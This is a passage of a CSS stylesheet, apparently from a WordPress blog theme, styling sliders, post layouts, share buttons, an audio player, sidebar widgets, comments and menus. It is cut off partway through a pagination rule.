.search .page.type-page .post-meta { display: none; }
/* post : featured
/* ------------------------------------ */
#flexslider-featured .flex-direction-nav { position: absolute; top: -50px; left: auto; right: 0; }
#flexslider-featured .flex-direction-nav li { float: left; margin-left: 3px; }
#flexslider-featured .flex-direction-nav li:first-child { float: left; }
#flexslider-featured .flex-direction-nav li:last-child { float: right; }
#flexslider-featured .flex-direction-nav a { background: #fff; color: #bbb; font-size: 24px; line-height: 24px; position: relative; width: 34px; height: 36px; margin: 0 0 0; display: block; text-align: center; cursor: pointer; text-indent: -999px; overflow: hidden; opacity: 1;
-webkit-border-radius: 0; border-radius: 0;
-webkit-box-shadow: none; box-shadow: none;
-webkit-transition: all .3s ease; transition: all .3s ease; }
#flexslider-featured .flex-direction-nav a:before { font-family: FontAwesome; line-height: 24px; position: absolute; text-align: center; left: 0; right: 0; top: 8px; text-indent: 0; }
#flexslider-featured .flex-direction-nav .flex-next:before { content:"\f054"; }
#flexslider-featured .flex-direction-nav .flex-prev:before { content: "\f053"; }
#flexslider-featured .flex-direction-nav .flex-next:hover,
#flexslider-featured .flex-direction-nav .flex-prev:hover { opacity: 1; color: #3b8dbd; }
#flexslider-featured .flex-control-nav { position: absolute; top: -15px; bottom: auto; }
#flexslider-featured .flex-control-nav li { margin: 0; padding: 0; margin-right: 2px; float: left; }
#flexslider-featured .flex-control-nav li a { background: #ddd; width: 20px; height: 2px; text-indent: -999px; overflow: hidden;
-webkit-border-radius: 0; border-radius: 0;
-webkit-box-shadow: none; box-shadow: none; }
#flexslider-featured .flex-control-nav li a:hover { background: #ccc; }
#flexslider-featured .flex-control-nav li a.flex-active { background: #3b8dbd; }
.featured,
.featured.flexslider { padding-bottom: 30px; margin-bottom: 30px; border-bottom: 1px solid #eee; }
.featured .post { margin-bottom: 0; }
.featured .post-title { font-size: 34px; letter-spacing: -0.7px; line-height: 1.4em; }
/* post : custom loop
/* ------------------------------------ */
.post-list { margin-right: -30px; }
.post-list .post-row { margin-left: -30px; padding-left: 30px; float: left; width: 100%; border-bottom: 1px solid #eee; margin-bottom: 30px; position: relative; }
.post-list .post-row:last-child { border: none; margin-bottom: 0; }
.post-list .post,
.post-list .page { width: 50%; float: left; }
.post-list .post-inner { margin-right: 30px; }
.post-hover:hover .post-thumbnail { opacity: 0.75; }
.post-hover:hover .post-title a { color: #3b8dbd; }
.post-hover:hover .thumb-icon { background: #fff; color: #111; }
.post-thumbnail { width: 100%; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; transition: all 1s ease; }
.post-thumbnail { position: relative; margin-bottom: 1em; }
.post-thumbnail img { display: block; width: 100%; height: auto; }
.post-comments { background: #82b965; font-size: 12px; line-height: 20px; color: #fff; display: block; position: absolute; top: 10px; right: 0;
-webkit-box-shadow: inset -1px 0 1px rgba(0,0,0,0.2);
box-shadow: inset -1px 0 1px rgba(0,0,0,0.2); }
.post-comments > span { display: block; position: relative; padding: 2px 7px; }
.post-comments > span:before { content:''; display: inline-block; border-left: 7px solid transparent; border-right: 7px solid #82b965; border-top: 7px solid transparent; border-bottom: 7px solid transparent; position: absolute; top: 5px; left: -14px; }
.post-comments i { margin-right: 3px; }
.post-comments:hover { color: #fff!important; padding-right: 4px; }
.post-meta { text-transform: uppercase; font-size: 14px; font-weight: 400; color: #bbb; margin-bottom: 0.3em; }
.post-meta .post-category { float: left; margin-right: 6px; }
.post-meta .post-date { float: left; }
.post-title { color: #444; font-weight: normal; margin-bottom: 10px; font-size: 22px; font-weight: 400; line-height: 1.5em; -ms-word-wrap: break-word; word-wrap: break-word; }
.post-title strong { font-weight: 600; }
.post-title i { font-style: italic; }
.post-title a { color: #444; }
.post-title a:hover { color: #3b8dbd; }
.entry.excerpt { font-size: 16px; color: #aaa; }
.entry.excerpt p { margin-bottom: 0; }
/* ------------------------------------------------------------------------- *
* Single
/* ------------------------------------------------------------------------- */
.single .post-title { font-size: 38px; letter-spacing: -1px; line-height: 1.3em; }
.single .post-inner .post-thumbnail { margin-bottom: 2em; }
.post-byline { font-size: 14px; font-weight: 400; color: #aaa; text-transform: uppercase; margin-bottom: 1em; }
.entry.share { padding-right: 100px; min-height: 354px; /* share buttons height */ position: relative; }
.entry.share .entry-inner { float: left; width: 100%; }
/* single : sharrre
/* ------------------------------------ */
.sharrre-container { float: right; width: 50px; padding: 0 10px; margin-right: -100px;
-webkit-border-radius: 4px; border-radius: 4px; }
.sharrre-container span { color: #aaa; display: block; text-align: center; text-transform: uppercase; font-size: 11px; }
.sharrre { padding: 10px 0 0; }
.sharrre .box { width: 50px; display: block; }
.sharrre .count { background: #eee; color: #333; display: block; font-size: 15px; font-weight: 600; line-height: 30px; position: relative; text-align: center;
-webkit-border-radius: 4px; border-radius: 4px; }
.sharrre .count:after { content:''; display: block; position: absolute; left: 49%; width: 0; height: 0; border: solid 6px transparent; border-top-color: #eee; margin-left: -6px; bottom: -12px; }
.sharrre .share { display: block; font-size: 28px; font-weight: 600; line-height: 32px; margin-top: 12px; padding: 0; text-align: center; text-decoration: none; }
.sharrre .box .share,
.sharrre .box .count { -webkit-transition: all .3s ease; transition: all .3s ease; }
.sharrre .box:hover .share,
.sharrre .box:hover .count { color: #444!important; }
.sharrre#twitter .share,
.sharrre#twitter .box .count { color: #00acee; }
.sharrre#facebook .share,
.sharrre#facebook .box .count { color: #3b5999; }
.sharrre#googleplus .share,
.sharrre#googleplus .box .count { color: #cd483c; }
.sharrre#pinterest .share,
.sharrre#pinterest .box .count { color: #ca2128; }
/* single : post pages
/* ------------------------------------ */
.post-pages { font-weight: 600; margin-bottom: 20px; }
/* single : tags
/* ------------------------------------ */
.post-tags { margin-bottom: 40px; }
.post-tags span { font-size: 14px; color: #999; display: inline-block; margin: 0 7px 0 0; }
.post-tags a { background: #f2f2f2; display: inline-block; line-height: 16px; white-space: nowrap; font-size: 12px; color: #999; padding: 3px 7px; margin: 0 5px 2px 0;
-webkit-border-radius: 2px; border-radius: 2px; }
.post-tags a:hover { background-color: #3b8dbd; color: #fff; }
/* single : author bio
/* ------------------------------------ */
.author-bio { border: 2px solid #eee; position: relative; padding: 15px 15px 10px 95px; color: #888; margin-bottom: 40px; }
.author-bio:before { content:''; display: inline-block; border-left: 8px solid transparent; border-right: 8px solid transparent; border-bottom: 8px solid #eee; position: absolute; top: -8px; left: 13px; }
.author-bio:after { content:''; display: inline-block; border-left: 6px solid transparent; border-right: 6px solid transparent; border-bottom: 6px solid #fff; position: absolute; top: -5px; left: 15px; }
.author-bio .bio-avatar { float: left; margin: 0 0 8px -80px; width: 64px; height: auto; position: relative; }
.author-bio .bio-avatar:after { background: #3b8dbd; position: absolute; right: 0; bottom: 0; padding: 4px 4px; content: "\f040"; color: #fff; font-size: 12px; line-height: 12px; width: 12px; font-style: normal; font-family: FontAwesome; text-align: center; -webkit-border-radius: 3px; border-radius: 3px; }
.author-bio .bio-avatar img { display: block; width: 100%; height: auto; -webkit-border-radius: 3px; border-radius: 3px; }
.author-bio p { margin-bottom: 8px; }
.author-bio .bio-name { color: #444; font-weight: 600; margin-bottom: 4px; }
.author-bio .bio-desc { color: #888; font-size: 15px; line-height: 1.5em; }
/* single : related posts
/* ------------------------------------ */
.related-posts { border-bottom: 2px solid #eee; margin-bottom: 40px; }
.related-posts li { width: 33.3%; float: left; display: inline; }
.related-posts .post { border-right: 1px solid transparent; margin-bottom: 0; padding-bottom: 10px; }
.related-posts li:nth-child(4) article { display: none; }
.related-posts li:nth-child(3) article { border-right-color: transparent; }
.related-posts .related-inner { padding: 0 20px 0 0; }
.single .related-posts .post-title { margin-bottom: 10px; font-size: 17px; font-weight: 300; line-height: 1.5em; letter-spacing: 0; display: block; }
/* single : post-nav
/* ------------------------------------ */
.post-nav li { width: 100%; display: inline; float: left; text-align: center; }
.post-nav li a { position: relative; min-height: 73px; display: block; padding: 16px 40px 24px; }
.post-nav li i { color: #ccc; font-size: 18px; position: absolute; top: 50%; margin-top: -10px; }
.post-nav li a strong { display: block; font-size: 12px; color: #aaa; letter-spacing: 0.5px; font-weight: normal; text-transform: uppercase; }
.post-nav li a span { font-size: 15px; color: #666; }
.post-nav li a:hover span { color: #444; }
.post-nav li.previous i { left: 10px; }
.post-nav li.next i { right: 10px; }
.post-nav li a span,
.post-nav li a i {
-webkit-transition-property: background color; -webkit-transition-duration: 0.2s; -webkit-transition-timing-function: ease-out;
-moz-transition-property: background color; -moz-transition-duration: 0.2s; -moz-transition-timing-function: ease-out;
-o-transition-property: background color; -o-transition-duration: 0.2s; -o-transition-timing-function: ease-out;
transition-property: background color; transition-duration: 0.2s; transition-timing-function: ease-out; }
/* sidebar-specific */
.sidebar .post-nav li a { border-top: 1px solid #eee; border-bottom: 1px solid #ddd; }
.sidebar .post-nav li a:hover { background: #ebebeb; background: rgba(0,0,0,0.02); }
.sidebar .post-nav li.previous a,
.sidebar .post-nav li.next a { border-bottom: 1px solid #ddd; }
.s1 .post-nav li a:hover i { color: #3b8dbd; }
.s2 .post-nav li a:hover i { color: #82b965; }
/* content-specific */
.content .post-nav { border-top: 2px solid #eee; border-bottom: 2px solid #eee; margin-bottom: 40px; }
.content .post-nav li { width: 50%; }
.content .post-nav li.next { float: right; -webkit-box-shadow: -1px 0 0 #eee, inset 1px 0 0 #eee; box-shadow: -1px 0 0 #eee, inset 1px 0 0 #eee; }
.content .post-nav li.next a { padding-left: 24px; }
.content .post-nav li.previous { float: left; -webkit-box-shadow: 1px 0 0 #eee, inset -1px 0 0 #eee; box-shadow: 1px 0 0 #eee, inset -1px 0 0 #eee; }
.content .post-nav li.previous a { padding-right: 24px; }
.content .post-nav li a:hover i { color: #3b8dbd; }
/* ------------------------------------------------------------------------- *
* Post Formats
/* ------------------------------------------------------------------------- */
/* post format : common
/* ------------------------------------ */
.post-format { position: relative; margin-bottom: 2em; }
.post-format p { margin-bottom: 1em; }
.post-format .format-container { background: #f1f1f1; padding-bottom: 10px; border-left: 3px solid #3b8dbd; }
.post-format .format-container .fa,
.post-format .format-container .fa { color: #ccc; font-size: 36px; float: right; margin: 0 0 20px 20px; }
/* post format : image
/* ------------------------------------ */
.format-image { }
/* post format : video
/* ------------------------------------ */
.format-video { }
/* post format : quote
/* ------------------------------------ */
.format-quote .post-format { }
.format-quote .post-format blockquote { font-size: 22px; font-weight: 400; line-height: 1.4em; font-style: italic; }
.format-quote .post-format .quote-author { font-style: italic; }
/* post format : link
/* ------------------------------------ */
.format-link .post-format p { font-size: 22px; font-weight: 400; line-height: 1.4em; font-style: italic; }
/* post format : chat
/* ------------------------------------ */
.format-chat .post-format p { font-style: italic; }
/* post format : status
/* ------------------------------------ */
.format-status .post-title { display: none; }
.single .format-status .entry { font-size: 24px; line-height: 1.4em; }
/* post format : aside
/* ------------------------------------ */
.format-aside .post-title { display: none; }
/* post format : gallery
/* ------------------------------------ */
.format-gallery .post-format .flexslider { overflow: visible; padding-bottom: 30px; margin-bottom: -20px; }
.format-gallery .post-format .flexslider .slides { background: #262626; overflow: hidden; position: relative; }
.format-gallery .post-format .flexslider .slides img { max-height: 405px; width: auto; max-width: 100%; -webkit-box-shadow: 0 0 30px rgba(0,0,0,0.6); box-shadow: 0 0 30px rgba(0,0,0,0.6); }
.format-gallery .post-format .flexslider .flex-control-nav { bottom: 1px; }
.format-gallery .post-format .flex-direction-nav a:before { color: #fff; }
/* post format : audio
/* ------------------------------------ */
.format-audio .post-format a,
.format-audio .post-format i { font-size: 16px; line-height: 22px; }
#page .format-audio .post-format img {
-webkit-border-bottom-right-radius: 0; -webkit-border-bottom-left-radius: 0;
border-bottom-right-radius: 0; border-bottom-left-radius: 0; }
/* jplayer */
.jp-interface { background-color: #444; }
.jp-play-bar,
.jp-volume-bar-value { background-color: #83ad02; }
.jp-progress { background-color: #262626; }
.jp-volume-bar { border: 1px solid #262626; }
.jp-seek-bar,
.jp-volume-bar { background-color: #383838; }
.jp-interface a { color: #bbb; text-shadow: 0 -1px 0 rgba(0,0,0,0.6); }
.jp-interface a:hover { color: #eee; }
.jp-progress-container,
.jp-volume-bar-container { border-left: 1px solid #333; }
.jp-audio,
.jp-interface,
.jp-progress,
.jp-seek-bar { width: 100%; min-width: 100%; }
.jp-interface { position: relative; overflow: hidden;
-webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,0.06), inset 0 -1px 0 rgba(0,0,0,0.3);
box-shadow: inset 0 1px 0 rgba(255,255,255,0.06), inset 0 -1px 0 rgba(0,0,0,0.3); }
.jp-interface .jp-controls { list-style-type: none; padding: 0; margin: 0; }
.jp-interface .jp-controls li { display: inline; }
.jp-interface .jp-controls a { position: absolute; }
.jp-interface .jp-controls a i { display: block; }
.jp-play, .jp-pause { width: 25px; height: 30px; z-index: 1; outline: none; margin: 12px 0 0 9px;}
.jp-play, .jp-pause { top: 0; left: 0; }
.jp-progress-container { margin-left: 34px; margin-right: 84px; height: 6px; padding: 20px 10px; }
.jp-progress { overflow: hidden; }
.jp-progress { height: 5px; padding: 1px;
-webkit-box-shadow: 0 1px 0 rgba(255,255,255,0.06);
box-shadow: 0 1px 0 rgba(255,255,255,0.06); }
.jp-seek-bar { width: 0px; height: 5px; cursor: pointer; -webkit-border-radius: 1px; border-radius: 1px; }
.jp-play-bar { width: 0px; height: 5px; -webkit-border-radius: 1px; border-radius: 1px;
-webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,0.25);
box-shadow: inset 0 1px 0 rgba(255,255,255,0.25); }
.jp-volume-bar-container { width: 40px; height: 6px; padding: 20px 10px 20px 33px; position: absolute; top: 0; right: 0; }
.jp-volume-bar { position: relative; overflow: hidden; width: 38px; height: 5px; cursor: pointer; -webkit-border-radius: 1px; border-radius: 1px;
-webkit-box-shadow: 0 1px 0 rgba(255,255,255,0.06);
box-shadow: 0 1px 0 rgba(255,255,255,0.06); }
.jp-volume-bar { top: 0; left: 0; }
.jp-volume-bar-value { width: 0px; height: 5px; -webkit-border-radius: 1px; border-radius: 1px;
-webkit-box-shadow: inset 0 1px 0 rgba(255,255,255,0.25);
box-shadow: inset 0 1px 0 rgba(255,255,255,0.25); }
.jp-mute, .jp-unmute { width: 17px; z-index: 1; outline: none; margin-top: 10px; }
.jp-mute, .jp-unmute { top: 2px; right: 58px; }
.jp-unmute { display: none; }
.jp-jplayer { width:0px; height:0px; }
/* ------------------------------------------------------------------------- *
* Widgets
/* ------------------------------------------------------------------------- */
.widget { color: #777; font-size: 15px; overflow: hidden; }
.widget a { color: #777; }
.widget a:hover { color: #444; }
.widget > h3 { font-size: 15px; font-weight: 400; text-transform: uppercase; margin-bottom: 6px; }
.widget > h3 a,
.widget > h3 a:hover { color: #444; }
.widget > h3 a img { display: none; float: left; margin: 3px 7px 0 0; }
.widget select { border: 1px solid #ddd; color: #777; font-size: 15px; padding: 7px; width: 100%; max-width: 100%; }
#footer .widget select { border-color: #eee; }
.sidebar .widget { padding: 30px 30px 20px; }
#footer .widget { padding-bottom: 30px; }
#footer .widget a:hover { color: #666; }
/* widgets : icons
/* ------------------------------------ */
.widget > ul li:before,
.widget > ul li a:before,
.widget > div > ul li a:before,
.widget_calendar caption:before { font-family: FontAwesome; font-size: 12px; margin-right: 6px; color: #ccc; display: inline-block!important; width: 1em; text-align: center; }
.widget > ul li a:hover:before { color: #999; }
.widget_archive > ul > li a:before { content: "\f073"; }
.widget_categories > ul > li a:before { content: "\f07c"; }
.widget_links > ul > li a:before { content: "\f08e"; }
.widget_meta > ul > li a:before { content: "\f0da"; }
.widget_recent_comments > ul > li:before { content: "\f075"; }
.widget_recent_entries > ul > li a:before { content: "\f017"; }
.widget_calendar caption:before { content: "\f073"; }
.widget_pages ul li a:before,
.widget_nav_menu ul li a:before { content: "\f068"; }
/* widgets : common
/* ------------------------------------ */
.widget_search > h3,
.widget_text > h3,
.widget_tag_cloud > h3,
.widget_calendar > h3 { margin-bottom: 1em; }
.widget_archive ul li,
.widget_categories ul li,
.widget_links ul li,
.widget_meta ul li,
.widget_recent_comments ul li,
.widget_recent_entries ul li,
.widget_rss ul li,
.widget_pages ul li a,
.widget_nav_menu ul li a,
.alx-tab li,
.alx-posts li { padding: 10px 0; border-bottom: 1px solid #e4e4e4; }
#footer .widget_archive ul li,
#footer .widget_categories ul li,
#footer .widget_links ul li,
#footer .widget_meta ul li,
#footer .widget_recent_comments ul li,
#footer .widget_recent_entries ul li,
#footer .widget_rss ul li,
#footer .widget_pages ul li a,
#footer .widget_nav_menu ul li a,
#footer .alx-tab li,
#footer .alx-posts li,
#footer .widget_calendar th,
#footer .widget_calendar td { border-color: #f2f2f2; }
.widget_archive ul li,
.widget_categories ul li,
.widget_links ul li { color: #bbb; }
.widget_recent_comments ul li,
.widget_recent_entries ul li { color: #999; }
.widget_recent_entries .post-date { display: block; }
/* widget : pages / custom menu
/* ------------------------------------ */
.widget_pages ul li a,
.widget_nav_menu ul li a { display: block; }
.widget_pages li li a,
.widget_nav_menu li li a { padding-left: 15px; }
.widget_pages li li li a,
.widget_nav_menu li li li a { padding-left: 30px; }
.widget_pages ul ul,
.widget_pages ul ul ul,
.widget_nav_menu ul ul,
.widget_nav_menu ul ul ul { border: 0; }
/* widget : rss
/* ------------------------------------ */
.widget_rss ul li a { display: block; }
.widget_rss ul li span.rss-date { color: #444; font-weight: 600; display: block; text-transform: uppercase; font-size: 12px; }
.widget_rss ul li cite { color: #999; }
.s1 .widget_rss ul li a,
#footer .widget_rss ul li a { color: #3b8dbd; }
.s2 .widget_rss ul li a { color: #82b965; }
/* widget : search
/* ------------------------------------ */
.widget_search input.search { color: #999; padding-left: 26px; width: 100%; }
.widget_search .screen-reader-text,
.widget_search #searchsubmit { display: none; }
/* widget : text
/* ------------------------------------ */
.widget_text .textwidget p { margin-bottom: 1em; }
/* widget : calendar
/* ------------------------------------ */
.widget_calendar a { font-weight: 600; }
.widget_calendar a:hover { color: #444!important; }
.widget_calendar #wp-calendar { width: 100%; }
.widget_calendar caption { color: #fff; padding: 5px 10px; }
.widget_calendar caption:before { color: #fff; color: rgba(255,255,255,0.7); font-size: 15px; }
.widget_calendar thead { background: #e2e2e2; -webkit-box-shadow: 0 1px 0 #ddd; box-shadow: inset 0 -1px 0 #ddd; }
#footer .widget_calendar thead { background: #f2f2f2; }
.widget_calendar th { font-weight: 600; }
.widget_calendar th,
.widget_calendar td { padding: 3px 0; text-align: center; border: 1px solid #e2e2e2; }
.widget_calendar .pad { padding: 0!important; }
.s1 .widget_calendar a,
#footer .widget_calendar a { color: #3b8dbd; }
.s1 .widget_calendar caption,
#footer .widget_calendar caption{ background: #3b8dbd; }
.s2 .widget_calendar a { color: #82b965; }
.s2 .widget_calendar caption { background: #82b965; }
/* custom widget : alxtabs / alxposts
/* ------------------------------------ */
.alx-tabs-nav { border-bottom: 3px solid #ddd; margin-bottom: 10px; text-align: center; }
.alx-tabs-nav.tab-count-1 li { width: 100%; }
.alx-tabs-nav.tab-count-2 li { width: 50%; }
.alx-tabs-nav.tab-count-3 li { width: 33.333%; }
.alx-tabs-nav.tab-count-4 li { width: 25%; }
.alx-tabs-nav li { display: block; float: left; }
.alx-tabs-nav li a { font-size: 18px; display: block; padding: 8px 0; margin-bottom: -3px; border-bottom: 3px solid transparent; }
.alx-tabs-nav li a:hover { border-bottom-color: #ccc; }
.alx-tabs-nav li.active a,
#footer .alx-tabs-nav li.active a { color: #444; /* background: linear-gradient(to bottom, rgba(255,255,255,0.0) 0%, #fff 100%) 0 0 rgba(0,0,0, 0); */ }
.alx-tabs-nav li a span { display: none; }
#footer .alx-tabs-nav { border-bottom-color: #eee; }
#footer .alx-tabs-nav li a:hover { border-bottom-color: #ddd; }
.s1 .alx-tabs-nav li.active a,
#footer .alx-tabs-nav li.active a { border-bottom-color: #3b8dbd; }
.s2 .alx-tabs-nav li.active a { border-bottom-color: #82b965; }
.alx-tab li,
.alx-posts li { font-weight: 400; line-height: 1.4em; overflow: hidden; }
.alx-tab a,
.alx-posts a { -webkit-transition: all 0.2s ease; -moz-transition: all 0.2s ease; transition: all 0.2s ease; }
.alx-tab img,
.alx-posts img { display: block; width: 100%; height: auto; }
.alx-tab.thumbs-enabled li{ padding-left: 94px; }
.alx-tab .tab-item-thumbnail { width: 80px; margin-left: -94px; float: left; }
.alx-tab .tab-item-thumbnail,
.alx-posts .post-item-thumbnail { position: relative; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; transition: all 1s ease; }
.alx-tab.avatars-enabled li{ padding-left: 62px; }
.alx-tab .tab-item-avatar { margin-left: -62px; width: 48px; float: left; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; transition: all 1s ease; }
.alx-tab .tab-item-category,
.alx-posts .post-item-category { color: #aaa; text-transform: uppercase; font-size: 13px; }
.alx-tab .tab-item-title a,
.alx-tab .tab-item-comment a,
.alx-posts .post-item-title a { color: #444; }
.alx-tab .tab-item-category a:hover,
.alx-posts .post-item-category a:hover { color: #444!important; }
.alx-tab .tab-item-title,
.alx-tab .tab-item-comment,
.alx-posts .post-item-title { margin: 2px 0; -ms-word-wrap: break-word; word-wrap: break-word; }
.alx-tab .tab-item-date,
.alx-tab .tab-item-name,
.alx-posts .post-item-date { text-transform: uppercase; color: #aaa; font-size: 13px; }
.alx-tab .thumb-icon.small { bottom: 8px; left: 8px; }
.alx-tab li:hover .tab-item-thumbnail,
.alx-tab li:hover .tab-item-avatar,
.alx-posts li:hover .post-item-thumbnail { opacity: 0.75; }
.alx-tab li:hover .thumb-icon,
.alx-posts li:hover .thumb-icon { background: #fff; color: #111; }
.s1 .alx-tab .tab-item-category a,
.s1 .alx-posts .post-item-category a,
.s1 .alx-tab li:hover .tab-item-title a,
.s1 .alx-tab li:hover .tab-item-comment a,
.s1 .alx-posts li:hover .post-item-title a,
#footer .alx-tab .tab-item-category a,
#footer .alx-posts .post-item-category a,
#footer .alx-tab li:hover .tab-item-title a,
#footer .alx-tab li:hover .tab-item-comment a,
#footer .alx-posts li:hover .post-item-title a { color: #3b8dbd; }
.s2 .alx-tab .tab-item-category a,
.s2 .alx-posts .post-item-category a,
.s2 .alx-tab li:hover .tab-item-title a,
.s2 .alx-tab li:hover .tab-item-comment a,
.s2 .alx-posts li:hover .post-item-title a { color: #82b965; }
.alx-posts .post-item-thumbnail { margin-bottom: 10px; }
.alx-posts .post-item-title { font-size: 16px; line-height: 1.5em; }
.s1 .alx-posts .post-item-title,
#footer .alx-posts .post-item-title { font-size: 18px; line-height: 1.4em; font-weight: 300; }
.s1 .alx-posts .post-item-category,
.s1 .alx-posts .post-item-date,
#footer .alx-posts .post-item-category,
#footer .alx-posts .post-item-date { font-size: 14px; }
/* custom widget : alxvideo
/* ------------------------------------ */
.widget_alx_video h3 { margin-bottom: 14px; }
/* ------------------------------------------------------------------------- *
* Comments
/* ------------------------------------------------------------------------- */
#comments { margin-top: 20px; }
#pinglist-container { display: none; }
.comment-tabs { border-bottom: 2px solid #eee; margin-bottom: 20px; }
.comment-tabs li { float: left; margin-bottom: -2px; }
.comment-tabs li a { font-weight: 600; padding: 0 10px 10px; display: block; color: #aaa; border-bottom: 2px solid #eee; }
.comment-tabs li a:hover { color: #444; border-color: #ccc; }
.comment-tabs li span { background-color: #eee; padding: 0 6px; margin-left: 8px; -webkit-border-radius: 4px; border-radius: 4px; }
.comment-tabs li i { margin-right: 6px; }
.comment-tabs li.active a { color: #3b8dbd; border-bottom-color: #3b8dbd; }
.commentlist, .pinglist { margin-bottom: 20px; }
.commentlist li, .pinglist li { padding-left: 60px; font-size: 14px; line-height: 22px; font-weight: 400; }
.commentlist .comment-body, .pinglist li { clear: both; position: relative; padding-bottom: 15px; }
.commentlist .comment-author,
.commentlist .comment-meta,
.commentlist .comment-awaiting-moderation { font-size: 13px; display: block; float: left; line-height: 20px; }
.commentlist .comment-author { margin-right: 6px; }
.commentlist .fn, .pinglist .ping-link { color: #444; font-size: 13px; font-style: normal; font-weight: 600; }
.commentlist .says { display: none; }
.commentlist .avatar { position: absolute; left: -60px; top: 0; width: 48px; height: 48px; -webkit-border-radius: 3px; border-radius: 3px; }
.commentlist .comment-meta:before, .pinglist .ping-meta:before { color: #ccc; content: "\f017"; font-family: FontAwesome; font-size: 10px; margin-right: 3px; vertical-align: 4%; }
.commentlist .comment-meta a, .pinglist .ping-meta { color: #aaa; }
.commentlist .reply { font-size: 13px; line-height: 16px; }
.commentlist .reply a { color: #aaa; }
.commentlist .reply a:hover { color: #444; }
.comment-awaiting-moderation { color: #3b8dbd; font-style: normal; }
/* pings */
.pinglist li { padding-left: 0; }
/* comment text */
.commentlist .comment-body p { margin-bottom: 8px; color: #777; clear: both; }
.commentlist .comment-body strong { font-weight: bold; }
.commentlist .comment-body em { font-style: italic; }
.commentlist .comment-body ol li { list-style: decimal; margin-left: 2em; padding: 0; }
.commentlist .comment-body ul li { list-style: square; margin-left: 2em; padding: 0; }
/* post author & admin comment */
.commentlist li.bypostauthor > .comment-body:after,
.commentlist li.comment-author-admin > .comment-body:after { background: #3b8dbd; display: block; position: absolute; content: "\f040"; color: #fff; line-height: 12px; width: 12px; font-style: normal; font-family: FontAwesome; text-align: center; }
.commentlist li.comment-author-admin > .comment-body:after { content: "\f005"; /* star for admin */ }
.commentlist li.bypostauthor > .comment-body:after,
.commentlist li.comment-author-admin > .comment-body:after { top: 32px; left: -28px; font-size: 10px; padding: 2px; -webkit-border-radius: 3px; border-radius: 3px; }
.commentlist li li.bypostauthor > .comment-body:after,
.commentlist li li.comment-author-admin > .comment-body:after { top: 22px; left: -26px; font-size: 8px; padding: 1px; -webkit-border-radius: 2px; border-radius: 2px; }
/* child comment */
.commentlist li ul { }
.commentlist li li { padding-left: 48px; margin: 0; }
.commentlist li li .avatar { width: 36px; height: 36px; left: -48px; top: 0; }
.commentlist li li .comment-meta { left: 70px; }
/* comments : nav
/* ------------------------------------ */
.comments-nav { margin-bottom: 20px; }
.comments-nav a { font-weight: 600; }
.comments-nav .nav-previous { float: left; }
.comments-nav .nav-next { float: right; }
/* comments : form
/* ------------------------------------ */
.logged-in-as,
.comment-notes,
.form-allowed-tags { display: none; }
#respond { position: relative; }
#reply-title { margin-bottom: 20px; }
li #reply-title { font-size: 0; margin: 0!important; padding: 0; height: 0; border-top: 0; }
#cancel-comment-reply-link { color: #999; display: block; position: absolute; bottom: 26px; right: 20px; font-size: 12px; }
#cancel-comment-reply-link:hover { color: #777; }
#commentform { background: #f1f1f1; padding: 10px 20px 20px; margin-bottom: 15px; -webkit-border-radius: 2px; border-radius: 2px; }
#commentform p.comment-form-author { width: 48%; float: left; }
#commentform p.comment-form-email { width: 48%; float: right; }
#commentform p.comment-form-url,
#commentform p.comment-form-comment { clear: both; }
#commentform label { padding: 6px 0; font-weight: 600; display: block; }
#commentform input[type="text"],
#commentform textarea { max-width: 100%; width: 100%; }
#commentform textarea { height: 100px; }
#commentform p.form-submit { margin-top: 10px; }
.logged-in #reply-title { margin-bottom: 20px; }
.logged-in #commentform p.comment-form-comment { margin-top: 10px; }
.logged-in #commentform p.comment-form-comment label { display: none; }
/* ------------------------------------------------------------------------- *
* Child Menu
/* ------------------------------------------------------------------------- */
.child-menu { zoom: 1; position: relative; padding: 0 0 20px; }
.child-menu a { color: #777; font-weight: 600; display: block; padding: 0 44px; }
.child-menu a:hover { color: #3b8dbd; }
.child-menu .current_page_item > a { background: #fff; color: #3b8dbd; }
/* show only current page items */
.child-menu > li { display: none; }
.child-menu > li.current_page_item,
.child-menu > li.current_page_parent,
.child-menu > li.current_page_ancestor { display: block; }
.child-menu > li.current_page_item > ul ul,
.child-menu > li.current_page_parent > ul ul,
.child-menu > li.current_page_ancestor > ul ul { display: none; }
.child-menu > li ul li.current_page_item ul,
.child-menu > li ul li.current_page_parent ul,
.child-menu > li ul li.current_page_ancestor ul { display: block; }
/* level 1 */
.child-menu > li > a { font-size: 20px; display: block; padding: 20px 30px; }
/* level 2 */
.child-menu > li > ul { background: #e9e9e9; border-top: 1px solid #ddd; border-bottom: 1px solid #ddd; padding: 10px 0 10px 10px; }
.child-menu > li > ul > li > a { font-size: 15px; background: #f0f0f0; border-bottom: 1px solid #ddd; border-left: 1px solid #ddd; padding: 11px 20px;
-webkit-box-shadow: inset 0 1px 0 #f9f9f9;
box-shadow: inset 0 1px 0 #f9f9f9; }
.child-menu > li > ul > li > a:before { font-family: FontAwesome; content: "\f055"; font-weight: normal; font-size: 18px; margin-right: 8px; }
/* level 3 */
.child-menu > li ul ul { background: #f0f0f0; border-bottom: 1px solid #ddd; border-top: 3px solid #ebebeb; border-left: 1px solid #ddd; padding: 6px 0; }
.child-menu > li ul ul a { font-size: 15px; font-weight: 300; padding-top: 7px; padding-bottom: 7px; margin-bottom: 1px; }
.child-menu > li ul ul a:hover { background: #e9e9e9;
-webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,0.04);
box-shadow: inset 0 1px 0 rgba(0,0,0,0.04); }
.child-menu > li ul ul li.current_page_item > a { background: #fff;
-webkit-box-shadow: 0 1px 0 rgba(0,0,0,0.04);
box-shadow: 0 1px 0 rgba(0,0,0,0.04); }
/* child menu for dual/right fix */
.col-2cl .child-menu > li > ul,
.col-3cr .child-menu > li > ul { padding-left: 0; padding-right: 10px; }
.col-2cl .child-menu > li > ul > li > a,
.col-3cr .child-menu > li > ul > li > a { border-left: 0; border-right: 1px solid #ddd; }
.col-2cl .child-menu > li ul ul,
.col-3cr .child-menu > li ul ul { border-left: 0; border-right: 1px solid #ddd; }
/* ------------------------------------------------------------------------- *
* Plugins
/* ------------------------------------------------------------------------- */
/* plugin : wp-pagenavi
/* ------------------------------------ */
.wp-pagenavi { text-align: right; font-weight: 600; line-height: 20px; float: none; margin-right: -2px; text-align: center; }
.wp-pagenavi a,
